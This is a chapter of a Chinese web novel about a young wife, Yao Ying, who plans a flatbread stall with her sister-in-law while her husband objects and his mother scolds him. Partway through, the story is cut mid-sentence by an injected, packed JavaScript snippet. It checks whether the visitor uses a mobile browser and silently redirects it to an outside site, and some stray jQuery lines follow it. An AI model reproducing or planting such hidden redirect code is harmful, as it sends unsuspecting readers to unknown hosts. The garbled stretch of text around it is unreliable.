“为何?”姚英有些不解。
沈长青绷着脸,眼尾有些发红。
“我大哥死前,我曾答应过他会替他照看好嫂嫂,侄儿。沈二再无用,却也没有沦落到叫女人出去抛头露面,养家糊口的地步。”
姚英眼里涌起莫名的泪意,倘若她尚有父兄在世,是否也会说出这样的话,咬唇生生将泪意逼了回去,只面无表情地点点头。
“我明白了。我不会再提让大嫂出门跟我合伙做买卖的事儿。明日我自己……”
男人突然伸手按住她的肩膀。
“定要去吗?”
姚英仰头迎上他幽深的目光,重重点头,嗯了一声。
握在肩膀上的力道卸去几分,他松开手,点点头,似自嘲一笑:“能说说为何?”
姚英眨动着仍有些酸涩的眼睫,如实道:“不为旁的,我说过了我想把日子过好。”
说完这句话她就扭身走向了房中,在门前停下脚步,回头看向他道:“女人出门做买卖原不是什么丢脸的事情,在长安、洛阳甚至益州许多地方都有女掌柜当家做主,支撑门户的先例。夫君不必往心里去。”
沈长青看着她转身合上房门,一时有些回不过神。
今夜这场怒火烧得着实有些莫名其妙,她说得没错,他二人本是强凑做一对儿,搭伙过日子,他又何必事事计较。
以她的相貌,以屈家的家世,哪怕是一个庶女,想嫁入一个好人家,过上衣食无忧的好日子,原也不是什么难事。
是自己带累了她。
夜里姚英孤身卧于枕上,胸口堵着一口气,翻来覆去睡不着,索性又开始琢磨起买卖来。
沈长青一夜未回,清早起来人又不知去了何处。
沈母看姚英一副郁郁寡欢的模样,也忍不住深深蹙眉。
姚英借口说自己想去街上买针线,实是想找铁匠铺定做炉子。
前脚刚出了沈家门,蒋兰后脚就跟了出来。
昨夜小两口之间的不愉快,蒋兰误打误撞听了一耳朵。
她赶过来一是担忧姚英孤身出门,二是想从中说和说和。
“弟妹,我知你心中定然气恼尧臣不该如此武断。你若肯听大嫂一句劝,千万莫要跟他置气。小两口过日子哪有不磕磕碰碰的?气坏了身子不值当。”
姚英苦笑着摇头。
“大嫂,如今只怕不是我气他,是他气我。我不知世间其他男子是不是都如他一样,生起气来就离家出走,一走就是好几日。”
蒋兰无奈轻叹。
“尧臣也算是我看着长大的,从前倒还好,自他大哥去后,就愈发寡言少语,有什么事都闷在心里,扛在自己肩上。遇到再多的难处,也不肯说出来叫我和娘知晓。改日他回来,我定替你好好说说他。”
姚英感激她真心为自己着想,想到昨日跟沈长青亲口承诺过不再叫大嫂掺和进来。
“大嫂,你回去吧。我昨夜想了一宿,这买卖是一定要做的。只是他不同意你我合伙,他说得也没错,码头上三教九流,保不齐何时就遇上歹人,你还有源哥儿,是我欠思虑了。”
蒋兰捏了捏拳,好似下定决心一般。
“可我仔细想过了,我想跟你一起做。尧臣不同意,咱们就悄悄背着他做,早些去,早些回,他日日早出晚归,一时也难以发觉。日后若是被他发现了,买卖也走上正路了,他再没有反对的理由。娘和慧姐儿定也站在咱们这头。”
姚英有些诧异地望向她。
“大嫂,你当真想好了吗?”
蒋兰重重点头。
两人就此说定,蒋兰带着姚英去了张记铁匠铺。
农忙时节,铁匠铺的生意红火。
一老一少两个汉子赤着上半身站在一块光滑平整的青石板前,轮流捶打着一块烧得火红的薄铁,铁锤落下,火花四溅。
见她二人过来,父子两人都不约而同停下了手中的动作。
年轻汉子有些赧然地挠了挠头:“嫂嫂过来了,这位是?”
站在他身后的精瘦老头儿上前一把拍在他的后脑勺上:“傻子,这是你沈二哥新娶进门的媳妇,叫二嫂。”
蒋兰十分熟稔地上前同二人打过招呼,又转头为他们引荐:“张叔,小顺,这是我弟妹,英娘。”
姚英上前大大方方同父子二人打过招呼。
老头子看着姚英连连点头,笑出一脸褶子,又转头对蒋兰道:“我就说你家老二也是个有出息的,瞧,娶了个这么俊俏的媳妇。丫头家里若是还有姊妹,回头别忘了给你小顺兄弟也说一门亲事。”
后半句是对姚英说的。
姚英红着脸点头说一定帮忙留意。
张小顺闻言,麦黑的脸上现出一丝不自在的笑,手在裤腰上用力搓了搓,飞快转移了话题。
“嫂嫂别听我爹胡咧咧,对了,你们过来是来取沈二哥上回定的那批农具的吧?早上刚打好,我这就去取。”
说完一溜烟跑进了棚子里,老铁匠在他身后嚷嚷:“没出息的东西,想娶媳妇怎么了?哪个男人到了年纪不想老婆孩子热炕头,又不是什么丢人的事儿,跑什么跑?”
姚英对张铁匠笑道:“叔,您说得对,下回有合适的姑娘,我定帮您留意着。不过我们这趟过来不只是取东西,还想找您定做炉子。”
张铁匠一听立马收了笑,问她想打一只什么样的炉子。
姚英家的酒楼里有位姓崔的师傅。
崔师傅做的梅干菜烧饼也是洛阳一绝。
不仅因为他手艺好,更是因为他烙饼用的炉子跟其他人都不同。
原来崔师傅早年去过西域,西域当地的胡人烙饼用的炉子跟中原的大为不同。
炉子的外观看起来像是一箍桶,里头用陶做的胆,底下有开口,每次炉子里的火将要燃尽时便从底下开的小口添柴。
饼子做好刷上一层油贴在炉壁上烘烤,不多时便烤得焦香流油,脆得掉渣。
张铁匠没有见过这种炉子,一时有些细节弄不清楚。
姚英去街上书肆里借了纸笔,画了图给他看。
这下他看明白了,对姚英更是赞不绝口。
“不愧是读书人家出来的孩子,心思真够灵巧。”
姚英问他何时能做好,要收多少工钱。
张铁匠笑道:“七日之内,老头子赶赶工,争取早些帮你们做好。工钱先不急,也不知能不能做好,回头做好了再付不迟。”
张家父子都是爽利人,姚英也不跟他们客气,约定好七日后过来取,便同蒋兰带着农具回了沈家。
妯娌两个打算做买卖的事也没瞒着沈母,沈母听了虽也有些担忧,却还是赞同的。
大周朝民风开放,女子做买卖本就不是什么稀罕事。
巷子口卖包子的赵家大姐儿,集市上卖豆腐的周嫂,哪一个不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560251|171383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自立门户,独当一面。
沈慧和源哥儿听说后更是巴不得同去。
得了沈母的首肯,姚英便少了许多顾忌,彻底将沈长青抛到了脑后,一心同蒋兰一道钻研起烧饼的馅料配方来。
三日后的黄昏,沈长青回来了。
彼时姚英跟沈兰正在灶房做晚饭。
沈母沉着脸将人叫去了后院堂屋。
沈母手握着一把黄楠木做成的戒尺,重重拍在桌上,沉声道:“跪下!”
老太太许久不动气了,真动起气来,饶是沈长青也免不了畏惧。
不由分说在老太太面前屈膝跪下,才敢开口问:“娘,儿不知何事惹您动气?”
沈母微眯着眼,举起戒尺重重往他身上抽打了几下,见他如顽石一般跪在原地一动不动,索性扔了戒尺,气咻咻望向他道:“糊涂东西,竟不知自己错在哪里。”
一句话说完,捂着胸口重重咳了两声。
“今日,我便好好与你说道说道。英娘她那样出身相貌,自嫁入我家以来,勤勤恳恳操持家务,待姑嫂,侄子,甚至是我这个老婆子又是再和善不过……”
“我问你,这样好一个媳妇,你到底对她还有何不满?竟不知惜福,新婚燕尔,为何三天两头甩脸子往外跑?莫非你真如外头传言,对那刘氏余情未了?”
沈长青只觉哑巴吃黄连,有苦说不出。
“娘,儿不敢。我跟那刘氏本就清清白白,更何谈余情未了?”
沈母抚着胸口长舒一口气,恨恨道:“那你又说说,为何要冷落疏远你媳妇?”
沈长青埋头不语。
沈母气得面色紫涨,随手摸过桌上的一只粗瓷茶盅朝他砸了过去。
“你莫非是个哑的不成,你说呀,你媳妇到底哪里不合你意?”
他人直挺挺地跪在地上,却也不躲,那茶盅子砰一声不偏不倚砸在他额上,鲜血顺着额角汩汩流淌。
躲在门外偷听的沈慧、源哥儿一股脑冲进去。
一个抱着沈母劝:“娘,您先消消气,别气坏了身子。”
一个抱着沈长青嚎啕大哭:“二叔你流血了,你流了好多血。呜呜。”
沈母身形一颤,抬手捂住抽痛的胸口:“我再问你一遍,你说是不说?”
沈长青依旧缄默不语。
急得沈慧围着他团团转:“二哥,你快跟娘服个软,认个错吧。”
沈长青依旧不肯开口,沈母按着桌角起身,手指哆哆嗦嗦指着沈慧道:“去,去你嫂嫂房里将她新做的那双鞋拿过来。”
沈长青一时错愕,不多时见沈慧手捧着一只做针线的笸箩过来了。
框子里放着一双白底黑面的皂靴,看尺寸样式分明是做给男人的。
只是才做好了一只,另一只做了一半儿。
沈母接过靴,捧在手里细细摩挲了一阵。
“这细细的针脚,花了多少心思,连我这个做娘的也是自愧弗如。可惜英娘她一片真心喂了狗……”
说话间拾起笸箩筐里的剪子去绞……
沈慧惊呼出声:“娘,不要!”
沈长青趁机夺过母亲手里的靴,牢牢抓在手里,额触地重重朝前磕了个响头。
“娘,儿知错了。儿有一事要找英娘问清楚,稍后再回来向娘磕头赔罪。”
言罢,嚯地起身,拉开门大步往外走,一眼瞥见院门前一抹仓皇的小身影。